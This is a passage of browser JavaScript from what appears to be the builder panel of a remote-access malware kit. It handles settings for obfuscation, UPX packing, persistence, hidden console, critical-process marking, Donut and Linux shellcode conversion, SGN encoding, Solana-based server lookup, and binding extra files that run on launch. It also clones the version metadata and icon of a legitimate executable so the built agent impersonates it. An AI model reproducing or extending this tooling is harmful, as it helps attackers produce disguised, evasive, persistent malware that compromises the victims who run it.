(settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny); if (settings.garbleSeed !== undefined) setVal("garble-seed", settings.garbleSeed); if (settings.enableUpx !== undefined) setCb('input[name="enable-upx"]', settings.enableUpx); if (settings.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', settings.upxStripHeaders); if (settings.sleepSeconds !== undefined) setVal("sleep-seconds", settings.sleepSeconds); if (settings.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', settings.enablePersistence); if (Array.isArray(settings.persistenceMethods)) { document.querySelectorAll('input[name="persistence-method"]').forEach((el) => { el.checked = settings.persistenceMethods.includes(el.value); }); } if (settings.startupName !== undefined) setVal("startup-name", settings.startupName); if (settings.hideConsole !== undefined) setCb('input[name="hide-console"]', settings.hideConsole); if (settings.requireAdmin !== undefined) setCb('input[name="require-admin"]', settings.requireAdmin); if (settings.criticalProcess !== undefined) setCb('input[name="critical-process"]', settings.criticalProcess); if (settings.assemblyTitle !== undefined) setVal("assembly-title", settings.assemblyTitle); if (settings.assemblyProduct !== undefined) setVal("assembly-product", settings.assemblyProduct); if (settings.assemblyCompany !== undefined) setVal("assembly-company", settings.assemblyCompany); if (settings.assemblyVersion !== undefined) setVal("assembly-version", settings.assemblyVersion); if (settings.assemblyCopyright !== undefined) setVal("assembly-copyright", settings.assemblyCopyright); if (settings.outputExtension !== undefined) setVal("output-extension", settings.outputExtension); if (settings.cryptableMode !== undefined) setCb("#cryptable-mode", settings.cryptableMode); if (settings.useDonut !== undefined) { setCb("#donut-mode", settings.useDonut); if (settings.useDonut) applyDonutMode(true); } if (settings.donutSingleThreaded !== undefined) setCb("#donut-single-threaded", settings.donutSingleThreaded); if (settings.donutExitMode !== undefined) setVal("donut-exit-mode", settings.donutExitMode); if (settings.donutEntropy !== undefined) setVal("donut-entropy", settings.donutEntropy); if (settings.donutPreserveHeaders !== undefined) setCb("#donut-preserve-headers", settings.donutPreserveHeaders); if (settings.donutResumeOffset !== undefined) setVal("donut-resume-offset", settings.donutResumeOffset); if (settings.useLinuxShellcode !== undefined) { setCb("#linux-shellcode-mode", settings.useLinuxShellcode); if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true); } if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole); if (settings.useSgn !== undefined) { setCb("#sgn-mode", settings.useSgn); if (settings.useSgn) applySgnMode(true); } if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations); if (settings.buildPlugins !== undefined) applyBuildPluginSettings(settings.buildPlugins); const restoredObfuscate = document.querySelector('input[name="obfuscate"]'); const garbleContainer = document.getElementById("garble-settings-container"); if (restoredObfuscate && garbleContainer) { garbleContainer.classList.toggle("hidden", !restoredObfuscate.checked); } const restoredUpx = document.querySelector('input[name="enable-upx"]'); const upxContainer = document.getElementById("upx-settings-container"); if (restoredUpx && upxContainer) { upxContainer.classList.toggle("hidden", !restoredUpx.checked); } updateWindowsSectionVisibility(); updateIosSectionVisibility(); updatePersistenceSettingsVisibility(); updateShellcodeCheckboxVisibility(); updateDisableCgoWarning(); updateMacosSdkVisibility(); if (solMemoCheckbox && solSettings) { solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); } if (serverUrlInput && rawServerListCheckbox) { updateServerUrlPlaceholder(); updateLocalServerWarning(); } applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false); updateWebrtcFirewallPromptOption(); } function saveFormSettings() { try { const settings = collectFormSettings(); localStorage.setItem(BUILD_SETTINGS_KEY, JSON.stringify(settings)); } catch (err) { console.error("Failed to save form settings:", err); } } function restoreFormSettings() { try { const raw = localStorage.getItem(BUILD_SETTINGS_KEY); if (!raw) return; const settings = JSON.parse(raw); applyFormSettings(settings); } catch (err) { console.error("Failed to restore form settings:", err); } } const buildProfileManager = createBuildProfileManager({ elements: { profileSelect, profileNameInput, profileSaveBtn, profileLoadBtn, profileDeleteBtn, profileExportBtn, profileImportBtn, profileImportFile, }, collectFormSettings, applyFormSettings, saveFormSettings, }); const { loadBuildProfiles } = buildProfileManager; const buildHistoryManager = createBuildHistoryManager({ buildResults, buildFilesDiv, getCurrentServerVersion: () => currentServerVersion, getCurrentUserRole: () => currentUserRole, getShowAllBuilds: () => showAllBuilds, }); const { displayBuild, loadSavedBuilds, saveBuildToStorage, } = buildHistoryManager; const CRYPTABLE_DISABLE_TARGETS = [ 'input[name="enable-persistence"]', 'input[name="enable-upx"]', 'input[name="upx-strip-headers"]', 'input[name="require-admin"]', 'input[name="critical-process"]', ]; const CRYPTABLE_DISABLE_INPUTS = [ "#assembly-title", "#assembly-product", "#assembly-company", "#assembly-version", "#assembly-copyright", "#output-extension", "#sleep-seconds", ]; const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7]; function applyCryptableMode(enabled) { const badge = document.getElementById("cryptable-badge"); if (badge) badge.classList.toggle("hidden", !enabled); CRYPTABLE_DISABLE_TARGETS.forEach((sel) => { const el = document.querySelector(sel); if (!el) return; if (enabled) { el.checked = false; el.disabled = true; el.closest("label")?.classList.add("opacity-40", "pointer-events-none"); } else { el.disabled = false; el.closest("label")?.classList.remove("opacity-40", "pointer-events-none"); } }); CRYPTABLE_DISABLE_INPUTS.forEach((sel) => { const el = document.querySelector(sel); if (!el) return; if (enabled) { el.dataset.preCryptableValue = el.value; el.value = el.type === "number" ? "0" : ""; el.disabled = true; el.classList.add("opacity-40"); } else { if (el.dataset.preCryptableValue !== undefined) { el.value = el.dataset.preCryptableValue; delete el.dataset.preCryptableValue; } el.disabled = false; el.classList.remove("opacity-40"); } }); const iconUploadEl = document.getElementById("icon-upload"); const iconLabelEl = document.getElementById("icon-label"); if (iconUploadEl) iconUploadEl.disabled = enabled; if (iconLabelEl && enabled) iconLabelEl.closest("label")?.classList.toggle("opacity-40", enabled); if (iconLabelEl && !enabled) iconLabelEl.closest("label")?.classList.remove("opacity-40"); const cloneExeUploadEl = document.getElementById("clone-exe-upload"); if (cloneExeUploadEl) cloneExeUploadEl.disabled = enabled; if (cloneExeUploadEl) cloneExeUploadEl.closest("label")?.classList.toggle("opacity-40", enabled); const bindAddLabelEl = document.getElementById("bind-add-label"); if (bindAddLabelEl) { bindAddLabelEl.classList.toggle("opacity-40", enabled); bindAddLabelEl.classList.toggle("pointer-events-none", enabled); } const sections = document.querySelectorAll(".accordion-section"); CRYPTABLE_HIDE_SECTIONS.forEach((idx) => { const sec = sections[idx - 1]; if (!sec) return; if (enabled) { sec.classList.add("opacity-30", "pointer-events-none"); sec.dataset.cryptableDisabled = "true"; } else { sec.classList.remove("opacity-30", "pointer-events-none"); delete sec.dataset.cryptableDisabled; } }); if (enabled) { updatePersistenceSettingsVisibility(); const upxC = document.getElementById("upx-settings-container"); if (upxC) upxC.classList.add("hidden"); } updateShellcodeCheckboxVisibility(); saveFormSettings(); } function applyCryptableShellcodeGate() { const cryptableOn = !!document.getElementById("cryptable-mode")?.checked; const setGate = (checkboxId, hintId) => { const cb = document.getElementById(checkboxId); const hint = document.getElementById(hintId); if (!cb) return; const label = cb.closest("label"); if (cryptableOn) { cb.disabled = false; label?.classList.remove("opacity-40", "pointer-events-none"); if (hint) hint.classList.add("hidden"); } else { if (cb.checked) { cb.checked = false; cb.dispatchEvent(new Event("change", { bubbles: true })); } cb.disabled = true; label?.classList.add("opacity-40", "pointer-events-none"); if (hint) hint.classList.remove("hidden"); } }; setGate("donut-mode", "donut-cryptable-hint"); setGate("linux-shellcode-mode", "linux-sc-cryptable-hint"); } function updateShellcodeCheckboxVisibility() { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasWindows = selected.some((p) => p.startsWith("windows-")); const hasLinuxAmd64 = selected.includes("linux-amd64"); const donutRow = document.getElementById("donut-row"); if (donutRow) donutRow.classList.toggle("hidden", !hasWindows); const linuxScRow = document.getElementById("linux-sc-row"); if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64); applyCryptableShellcodeGate(); // SGN is only meaningful when there's shellcode to encode — i.e. Donut or // Linux shellcode is enabled on a compatible platform. const donutOn = document.getElementById("donut-mode")?.checked && hasWindows; const linuxScOn = document.getElementById("linux-shellcode-mode")?.checked && hasLinuxAmd64; const sgnRow = document.getElementById("sgn-row"); if (sgnRow) sgnRow.classList.toggle("hidden", !(donutOn || linuxScOn)); if (!(donutOn || linuxScOn)) { const sgnCheckbox = document.getElementById("sgn-mode"); if (sgnCheckbox?.checked) { sgnCheckbox.checked = false; applySgnMode(false); } } } function applySgnMode(enabled) { const badge = document.getElementById("sgn-badge"); if (badge) badge.classList.toggle("hidden", !enabled); saveFormSettings(); } function applyDonutMode(enabled) { const badge = document.getElementById("donut-badge"); if (badge) badge.classList.toggle("hidden", !enabled); if (enabled) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasNonWindows = selected.some((p) => !p.startsWith("windows-")); const nonWinWarn = document.getElementById("donut-nonwin-warn"); if (nonWinWarn) nonWinWarn.classList.toggle("hidden", !hasNonWindows); } saveFormSettings(); } function applyLinuxShellcodeMode(enabled) { const badge = document.getElementById("linux-sc-badge"); if (badge) badge.classList.toggle("hidden", !enabled); if (enabled) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasNonAmd64Linux = selected.some((p) => p.startsWith("linux-") && p !== "linux-amd64"); const nonX64Warn = document.getElementById("linux-sc-nonx64-warn"); if (nonX64Warn) nonX64Warn.classList.toggle("hidden", !hasNonAmd64Linux); } saveFormSettings(); } function updateWebrtcFirewallPromptOption() { const webrtcEnabled = document.querySelector('input[name="enable-webrtc"]')?.checked ?? false; const promptInput = document.querySelector('input[name="prompt-webrtc-firewall-on-start"]'); if (!promptInput) return; promptInput.disabled = !webrtcEnabled; if (!webrtcEnabled) promptInput.checked = false; } restoreFormSettings(); if (serverUrlInput && !serverUrlInput.value.trim()) { serverUrlInput.value = getCurrentServerUrlForMode(); saveFormSettings(); } updateLocalServerWarning(); initAccordions(); initBuilderTabs(); loadBuildPlugins(); loadMacosSdkStatus(); updateWindowsSectionVisibility(); updateShellcodeCheckboxVisibility(); updateDisableCgoWarning(); init(); if (solMemoCheckbox && solSettings) { solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); } if (rawServerListCheckbox && serverUrlInput) { rawServerListCheckbox.addEventListener("change", () => { const isRaw = rawServerListCheckbox.checked; const current = serverUrlInput.value.trim(); if (isRaw && solMemoCheckbox) { solMemoCheckbox.checked = false; if (solSettings) solSettings.classList.add("hidden"); } if (isRaw) { // Raw-list mode wants a real https:// URL pointing at a .txt of endpoints. // Swap any wss:// → https:// / ws:// → http:// the user may have left over. if (current.startsWith("wss://")) { serverUrlInput.value = "https://" + current.slice("wss://".length); } else if (current.startsWith("ws://")) { serverUrlInput.value = "http://" + current.slice("ws://".length); } } else { // Non-raw mode: bare domain only. The agent prepends wss:// itself. serverUrlInput.value = stripServerUrlPrefix(current); } updateServerUrlPlaceholder(); updateLocalServerWarning(); }); if (serverUrlCurrentBtn) { serverUrlCurrentBtn.addEventListener("click", () => { if (solMemoCheckbox?.checked) { solMemoCheckbox.checked = false; if (solSettings) solSettings.classList.add("hidden"); } serverUrlInput.value = getCurrentServerUrlForMode(); serverUrlInput.dispatchEvent(new Event("input", { bubbles: true })); serverUrlInput.dispatchEvent(new Event("change", { bubbles: true })); saveFormSettings(); updateLocalServerWarning(); serverUrlInput.focus(); }); } // Live-strip protocol prefixes in non-raw mode so the field stays clean and // the user sees their typo corrected immediately. serverUrlInput.addEventListener("input", () => { if (rawServerListCheckbox.checked) { updateLocalServerWarning(); return; } const before = serverUrlInput.value; const after = stripServerUrlPrefix(before); if (after !== before) { const caret = Math.max(0, (serverUrlInput.selectionStart ?? after.length) - (before.length - after.length)); serverUrlInput.value = after; try { serverUrlInput.setSelectionRange(caret, caret); } catch {} } updateLocalServerWarning(); }); } const rawServerListHelpBtn = document.getElementById("raw-server-list-help"); const rawServerListModal = document.getElementById("raw-server-list-modal"); const rawServerListModalClose = document.getElementById("raw-server-list-modal-close"); const rawServerListModalOk = document.getElementById("raw-server-list-modal-ok"); function showRawServerListModal() { if (!rawServerListModal) return; rawServerListModal.classList.remove("hidden"); rawServerListModal.classList.add("flex"); } function hideRawServerListModal() { if (!rawServerListModal) return; rawServerListModal.classList.remove("flex"); rawServerListModal.classList.add("hidden"); } if (rawServerListHelpBtn) rawServerListHelpBtn.addEventListener("click", showRawServerListModal); if (rawServerListModalClose) rawServerListModalClose.addEventListener("click", hideRawServerListModal); if (rawServerListModalOk) rawServerListModalOk.addEventListener("click", hideRawServerListModal); if (rawServerListModal) { rawServerListModal.addEventListener("click", (e) => { if (e.target === rawServerListModal) hideRawServerListModal(); }); } document.addEventListener("keydown", (e) => { if (e.key === "Escape" && rawServerListModal && !rawServerListModal.classList.contains("hidden")) { hideRawServerListModal(); } }); if (solMemoCheckbox && solSettings) { solMemoCheckbox.addEventListener("change", () => { const isSol = solMemoCheckbox.checked; solSettings.classList.toggle("hidden", !isSol); if (isSol && rawServerListCheckbox) { rawServerListCheckbox.checked = false; updateServerUrlPlaceholder(); } if (isSol) loadSolRpcEndpoints(); }); } function getSelectedPlatformFamilies() { const selectedPlatforms = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).map((el) => el.value); return { windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")), linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")), darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")), ios: selectedPlatforms.some((platform) => platform.startsWith("ios-")), }; } function validateStartupName() { if (!startupNameError) return true; const families = getSelectedPlatformFamilies(); const val = document.getElementById("startup-name")?.value.trim() || ""; if ((families.darwin || families.ios) && val && !val.startsWith("com.")) { startupNameError.textContent = "macOS/iOS requires the name to start with \"com.\" (e.g. com.apple.updater)"; startupNameError.classList.remove("hidden"); return false; } startupNameError.textContent = ""; startupNameError.classList.add("hidden"); return true; } function updatePersistenceSettingsVisibility() { if (!persistenceMethodContainer) return; const persistenceEnabled = !!persistenceCheckbox?.checked; if (!persistenceEnabled) { persistenceMethodContainer.classList.add("hidden"); return; } persistenceMethodContainer.classList.remove("hidden"); const families = getSelectedPlatformFamilies(); const hasSupportedFamily = families.windows || families.linux || families.darwin; if (persistenceWindowsSettings) { persistenceWindowsSettings.classList.toggle("hidden", !families.windows); } if (persistenceLinuxSettings) { persistenceLinuxSettings.classList.toggle("hidden", !families.linux); } if (persistenceMacSettings) { persistenceMacSettings.classList.toggle("hidden", !families.darwin); } if (persistenceStartupNameContainer) { persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily); } if (startupNameMacosHint) { startupNameMacosHint.classList.toggle("hidden", !families.darwin); } if (startupNameDefaultHint) { startupNameDefaultHint.classList.toggle("hidden", families.darwin); } if (persistenceEmptyState) { persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily); } validateStartupName(); } if (persistenceCheckbox && persistenceMethodContainer) { persistenceCheckbox.addEventListener("change", updatePersistenceSettingsVisibility); } platformInputs.forEach((input) => { input.addEventListener("change", updatePersistenceSettingsVisibility); input.addEventListener("change", updateWindowsSectionVisibility); input.addEventListener("change", updateIosSectionVisibility); input.addEventListener("change", updateMacosSdkVisibility); }); disableCgoInput?.addEventListener("change", updateMacosSdkVisibility); disableCgoInput?.addEventListener("change", updateDisableCgoWarning); macosSdkFileInput?.addEventListener("change", () => { const file = macosSdkFileInput.files?.[0]; if (macosSdkFileStatus && file) macosSdkFileStatus.textContent = `${file.name} selected (${formatFileSize(file.size)}).`; }); document.getElementById("startup-name")?.addEventListener("input", validateStartupName); function updateIosSectionVisibility() { const families = getSelectedPlatformFamilies(); const iosBundleIdContainer = document.getElementById("ios-bundle-id-container"); if (iosBundleIdContainer) { iosBundleIdContainer.classList.toggle("hidden", !families.ios); } } updateIosSectionVisibility(); updatePersistenceSettingsVisibility(); form?.addEventListener("change", saveFormSettings); form?.addEventListener("input", saveFormSettings); document.querySelector('input[name="enable-webrtc"]')?.addEventListener("change", updateWebrtcFirewallPromptOption); const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); const garbleSettingsContainer = document.getElementById("garble-settings-container"); if (obfuscateCheckbox && garbleSettingsContainer) { obfuscateCheckbox.addEventListener("change", () => { if (obfuscateCheckbox.checked) { garbleSettingsContainer.classList.remove("hidden"); } else { garbleSettingsContainer.classList.add("hidden"); } }); } const upxCheckbox = document.querySelector('input[name="enable-upx"]'); const upxSettingsContainer = document.getElementById("upx-settings-container"); if (upxCheckbox && upxSettingsContainer) { upxCheckbox.addEventListener("change", () => { if (upxCheckbox.checked) { upxSettingsContainer.classList.remove("hidden"); } else { upxSettingsContainer.classList.add("hidden"); } }); } const cryptableCheckbox = document.getElementById("cryptable-mode"); if (cryptableCheckbox) { cryptableCheckbox.addEventListener("change", () => { applyCryptableMode(cryptableCheckbox.checked); }); if (cryptableCheckbox.checked) { applyCryptableMode(true); } } const donutCheckbox = document.getElementById("donut-mode"); if (donutCheckbox) { donutCheckbox.addEventListener("change", () => { applyDonutMode(donutCheckbox.checked); }); if (donutCheckbox.checked) applyDonutMode(true); } const linuxScCheckbox = document.getElementById("linux-shellcode-mode"); if (linuxScCheckbox) { linuxScCheckbox.addEventListener("change", () => { applyLinuxShellcodeMode(linuxScCheckbox.checked); updateShellcodeCheckboxVisibility(); }); if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true); } if (donutCheckbox) { donutCheckbox.addEventListener("change", () => updateShellcodeCheckboxVisibility()); } const sgnCheckbox = document.getElementById("sgn-mode"); if (sgnCheckbox) { sgnCheckbox.addEventListener("change", () => applySgnMode(sgnCheckbox.checked)); if (sgnCheckbox.checked) applySgnMode(true); } const sgnIterationsInput = document.getElementById("sgn-iterations"); if (sgnIterationsInput) { sgnIterationsInput.addEventListener("change", () => saveFormSettings()); } document.querySelectorAll('input[name="platform"]').forEach((el) => { el.addEventListener("change", () => { updateShellcodeCheckboxVisibility(); if (donutCheckbox?.checked) applyDonutMode(true); if (linuxScCheckbox?.checked) applyLinuxShellcodeMode(true); }); }); let pendingIconBase64 = null; const iconUpload = document.getElementById("icon-upload"); const iconLabel = document.getElementById("icon-label"); const iconClear = document.getElementById("icon-clear"); if (iconUpload) { iconUpload.addEventListener("change", () => { const file = iconUpload.files[0]; if (!file) return; if (file.size > 1024 * 1024) { alert("Icon file must be under 1MB"); iconUpload.value = ""; return; } const reader = new FileReader(); reader.onload = () => { const base64 = reader.result.split(",")[1]; pendingIconBase64 = base64; if (iconLabel) iconLabel.textContent = file.name; if (iconClear) iconClear.classList.remove("hidden"); }; reader.readAsDataURL(file); }); } if (iconClear) { iconClear.addEventListener("click", () => { pendingIconBase64 = null; if (iconUpload) iconUpload.value = ""; if (iconLabel) iconLabel.textContent = "Choose .ico file"; iconClear.classList.add("hidden"); }); } function extractPEMetadata(buffer) { const dv = new DataView(buffer); const bytes = new Uint8Array(buffer); const u8 = (o) => dv.getUint8(o); const u16 = (o) => dv.getUint16(o, true); const u32 = (o) => dv.getUint32(o, true); const alignUp = (n) => (n + 3) & ~3; if (buffer.byteLength < 0x40) throw new Error("File too small"); if (u16(0) !== 0x5A4D) throw new Error("Not a PE file (missing MZ header)"); const peOff = u32(0x3C); if (peOff + 24 > buffer.byteLength) throw new Error("Invalid PE offset"); if (u32(peOff) !== 0x4550) throw new Error("Not a PE file (missing PE signature)"); const numSections = u16(peOff + 6); const optHdrSize = u16(peOff + 20); const optMagic = u16(peOff + 24); const is64 = optMagic === 0x20B; // PE32+ vs PE32 const dataDirsOff = peOff + 24 + (is64 ? 112 : 96); const rsrcRVA = u32(dataDirsOff + 2 * 8); // index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE if (rsrcRVA === 0) throw new Error("No resource section RVA"); const secTableOff = peOff + 24 + optHdrSize; let rsrcRaw = 0; for (let i = 0; i < numSections; i++) { const s = secTableOff + i * 40; const va = u32(s + 12); const vsz = Math.max(u32(s + 8), u32(s + 16)); const raw = u32(s + 20); if (rsrcRVA >= va && rsrcRVA < va + vsz) { rsrcRaw = raw + (rsrcRVA - va); break; } } if (!rsrcRaw) throw new Error("Could not locate resource section raw data"); const rvaToOff = (rva) => rsrcRaw + (rva - rsrcRVA); function rsrcDir(dirOff) { if (dirOff + 16 > buffer.byteLength) return []; const numNamed = u16(dirOff + 12); const numId = u16(dirOff + 14); const total = numNamed + numId; const entries = []; for (let i = 0; i < total; i++) { const e = dirOff + 16 + i * 8; if (e + 8 > buffer.byteLength) break; const nameOrId = u32(e); const dataOrDir = u32(e + 4); entries.push({ id: (nameOrId & 0x80000000) ? null : nameOrId, isSubDir: (dataOrDir & 0x80000000) !== 0, off: dataOrDir & 0x7FFFFFFF, }); } return entries; } const WANT = new Set([3, 14, 16]); const resources = {}; for (const te of rsrcDir(rsrcRaw)) { if (te.id === null || !WANT.has(te.id) || !te.isSubDir) continue; resources[te.id] = {}; for (const ne of rsrcDir(rsrcRaw + te.off)) { if (!ne.isSubDir) continue; const nameId = ne.id ?? 1; resources[te.id][nameId] = []; for (const le of rsrcDir(rsrcRaw + ne.off)) { if (le.isSubDir) continue; const deOff = rsrcRaw + le.off; if (deOff + 8 > buffer.byteLength) continue; const dataRVA = u32(deOff); const dataSize = u32(deOff + 4); const dataOff = rvaToOff(dataRVA); if (dataOff + dataSize <= buffer.byteLength) resources[te.id][nameId].push({ dataOff, dataSize }); } } } function parseVersionStrings(absOff, size) { const strings = {}; const end = absOff + size; let pos = absOff; if (pos + 6 > end) return strings; const viLen = u16(pos); const viValLen = u16(pos + 2); pos += 6; while (pos + 1 < end && (u8(pos) | u8(pos + 1))) pos += 2; pos = alignUp(pos + 2); pos += viValLen; pos = alignUp(pos); const viEnd = Math.min(absOff + viLen, end); while (pos + 6 < viEnd) { const childLen = u16(pos); if (childLen < 6) break; const childEnd = Math.min(pos + childLen, viEnd); let kp = pos + 6; let key = ""; while (kp + 1 < childEnd && (u8(kp) | u8(kp + 1))) { key += String.fromCharCode(u8(kp) | (u8(kp + 1) << 8)); kp += 2; } kp = alignUp(kp + 2); if (key === "StringFileInfo") { let sp = kp; while (sp + 6 < childEnd) { const stLen = u16(sp); if (stLen < 6) break; const stEnd = Math.min(sp + stLen, childEnd); let tp = sp + 6; while (tp + 1 < stEnd && (u8(tp) | u8(tp + 1))) tp += 2; tp = alignUp(tp + 2); while (tp + 6 < stEnd) { const sLen = u16(tp); if (sLen < 6) break; const sEnd = Math.min(tp + sLen, stEnd); const sValLen = u16(tp + 2); let np = tp + 6; let name = ""; while (np + 1 < sEnd && (u8(np) | u8(np + 1))) { name += String.fromCharCode(u8(np) | (u8(np + 1) << 8)); np += 2; } np = alignUp(np + 2); let val = ""; const valEnd = Math.min(np + sValLen * 2, sEnd); while (np + 1 < valEnd && (u8(np) | u8(np + 1))) { val += String.fromCharCode(u8(np) | (u8(np + 1) << 8)); np += 2; } if (name) strings[name] = val; tp = alignUp(sEnd); } sp = alignUp(stEnd); } } pos = alignUp(childEnd); } return strings; } function buildIco(groupOff, iconRes) { if (groupOff + 6 > buffer.byteLength) return null; const count = u16(groupOff + 4); if (count === 0 || groupOff + 6 + count * 14 > buffer.byteLength) return null; const grpEntries = []; for (let i = 0; i < count; i++) { const e = groupOff + 6 + i * 14; grpEntries.push({ w: u8(e), h: u8(e + 1), cc: u8(e + 2), planes: u16(e + 4), bits: u16(e + 6), size: u32(e + 8), id: u16(e + 12), }); } const iconData = []; for (const en of grpEntries) { const rd = iconRes[en.id]; if (!rd || rd.length === 0) continue; iconData.push({ en, dataOff: rd[0].dataOff, dataSize: rd[0].dataSize }); } if (iconData.length === 0) return null; let totalSize = 6 + iconData.length * 16; for (const id of iconData) totalSize += id.dataSize; const ico = new Uint8Array(totalSize); const idv = new DataView(ico.buffer); let p = 0; idv.setUint16(p, 0, true); p += 2; // reserved idv.setUint16(p, 1, true); p += 2; // type = ICO idv.setUint16(p, iconData.length, true); p += 2; let dataOffset = 6 + iconData.length * 16; const entryStart = p; let ep = entryStart; p += iconData.length * 16; for (const { en, dataOff, dataSize } of iconData) { ico[ep] = en.w; ico[ep+1] = en.h; ico[ep+2] = en.cc; ico[ep+3] = 0; idv.setUint16(ep + 4, en.planes, true); idv.setUint16(ep + 6, en.bits, true); idv.setUint32(ep + 8, dataSize, true); idv.setUint32(ep + 12, dataOffset, true); ep += 16; ico.set(bytes.subarray(dataOff, dataOff + dataSize), dataOffset); dataOffset += dataSize; } let bin = ""; for (let i = 0; i < ico.length; i++) bin += String.fromCharCode(ico[i]); return btoa(bin); } const result = {}; if (resources[16]) { const vd = Object.values(resources[16]).flat()[0]; if (vd) { try { result.strings = parseVersionStrings(vd.dataOff, vd.dataSize); } catch (_) {} } } if (resources[14] && resources[3]) { const gd = Object.values(resources[14]).flat()[0]; if (gd) { try { result.iconBase64 = buildIco(gd.dataOff, resources[3]); } catch (_) {} } } return result; } const cloneExeUpload = document.getElementById("clone-exe-upload"); const cloneExeLabel = document.getElementById("clone-exe-label"); const cloneExeStatus = document.getElementById("clone-exe-status"); function setCloneStatus(msg, isError) { if (!cloneExeStatus) return; cloneExeStatus.textContent = msg; cloneExeStatus.className = "text-xs " + (isError ? "text-red-400" : "text-emerald-400"); cloneExeStatus.classList.remove("hidden"); } if (cloneExeUpload) { cloneExeUpload.addEventListener("change", () => { const file = cloneExeUpload.files[0]; if (!file) return; if (cloneExeLabel) cloneExeLabel.textContent = file.name; setCloneStatus("Parsing...", false); const reader = new FileReader(); reader.onload = () => { try { const meta = extractPEMetadata(reader.result); const s = meta.strings || {}; const fields = [ ["assembly-title", s["FileDescription"] ?? s["InternalName"] ?? ""], ["assembly-product", s["ProductName"] ?? ""], ["assembly-company", s["CompanyName"] ?? ""], ["assembly-version", s["FileVersion"]?.replace(/,\s*/g, ".") ?? s["ProductVersion"]?.replace(/,\s*/g, ".") ?? ""], ["assembly-copyright", s["LegalCopyright"] ?? s["LegalTrademarks"] ?? ""], ]; let filled = 0; for (const [id, val] of fields) { const el = document.getElementById(id); if (el && val) { el.value = val; filled++; } } if (meta.iconBase64) { const decodedBytes = Math.floor(meta.iconBase64.length * 3 / 4); if (decodedBytes <= 1024 * 1024) { pendingIconBase64 = meta.iconBase64; if (iconLabel) iconLabel.textContent = file.name + " (cloned icon)"; if (iconClear) iconClear.classList.remove("hidden"); setCloneStatus(`Cloned ${filled} metadata field(s) + icon`, false); } else { setCloneStatus(`Cloned ${filled} metadata field(s) (icon too large, skipped)`, false); } } else { setCloneStatus(filled > 0 ? `Cloned ${filled} metadata field(s), no icon found` : "No metadata found in file", !filled); } } catch (err) { setCloneStatus("Error: " + err.message, true); } cloneExeUpload.value = ""; }; reader.readAsArrayBuffer(file); }); } const MAX_BIND_FILES = 5; const MAX_BIND_FILE_BYTES = 200 * 1024 * 1024; // 200 MB let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean } const bindFileInput = document.getElementById("bind-file-input"); const bindFilesList = document.getElementById("bind-files-list"); const bindAddLabel = document.getElementById("bind-add-label"); function sanitizeBindName(name) { return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file"; } function renderBoundFiles() { if (!bindFilesList) return; bindFilesList.innerHTML = ""; boundFiles.forEach((entry, idx) => { const div = document.createElement("div"); div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; const osList = ["windows", "linux", "darwin"]; const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" }; const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" }; const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" }; const osCheckboxes = osList .map( (os) => ``, ) .join(""); div.innerHTML = `
${entry.name}
Run on: ${osCheckboxes}
`; div.querySelector(".bind-remove-btn").addEventListener("click", () => { boundFiles.splice(idx, 1); renderBoundFiles(); updateBindAddVisibility(); }); div.querySelectorAll(".bind-os-cb").forEach((cb) => { cb.addEventListener("change", () => { const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`)) .filter((el) => el.checked) .map((el) => el.dataset.os); boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked; }); }); div.querySelector(".bind-exec-cb").addEventListener("change", (e) => { boundFiles[idx].execute = e.target.checked; }); bindFilesList.appendChild(div); }); } function updateBindAddVisibility() { if (!bindAddLabel) return; bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES); } if (bindFileInput) { bindFileInput.addEventListener("change", () => { const file = bindFileInput.files[0]; bindFileInput.value = ""; if (!file) return; if (boundFiles.length >= MAX_BIND_FILES) { alert(`Maximum ${MAX_BIND_FILES} files can be bound.`); return; } if (file.size > MAX_BIND_FILE_BYTES) { alert(`Each bound file must be under 50 MB. "${file.name}" is too large.`); return; } const safeName = sanitizeBindName(file.name); if (boundFiles.some((f) => f.name === safeName)) { alert(`A file named "${safeName}" is already in the list.`); return; } const reader = new FileReader(); reader.onload = () => { const base64 = reader.result.split(",")[1]; boundFiles.push({ name: safeName, base64, targetOS: [], execute: true }); renderBoundFiles(); updateBindAddVisibility(); }; reader.readAsDataURL(file); }); } async function init() { try { updateServerUrlPlaceholder(); const res = await fetch("/api/auth/me", { credentials: "include", }); if (!res.ok) { window.location.href = "/"; return; } const data = await res.json(); const permissions = Array.isArray(data.permissions) ? data.permissions : []; const hasPermission = (permission) => permissions.includes(permission); currentUserRole = data.role; currentUsername = data.username || null; usernameDisplay.textContent = data.username; loadSgnTxtUnlockState(); const roleBadges = { admin: 'Admin', operator: 'Operator', viewer: 'Viewer', }; if (roleBadges[data.role]) { roleBadge.innerHTML = roleBadges[data.role]; 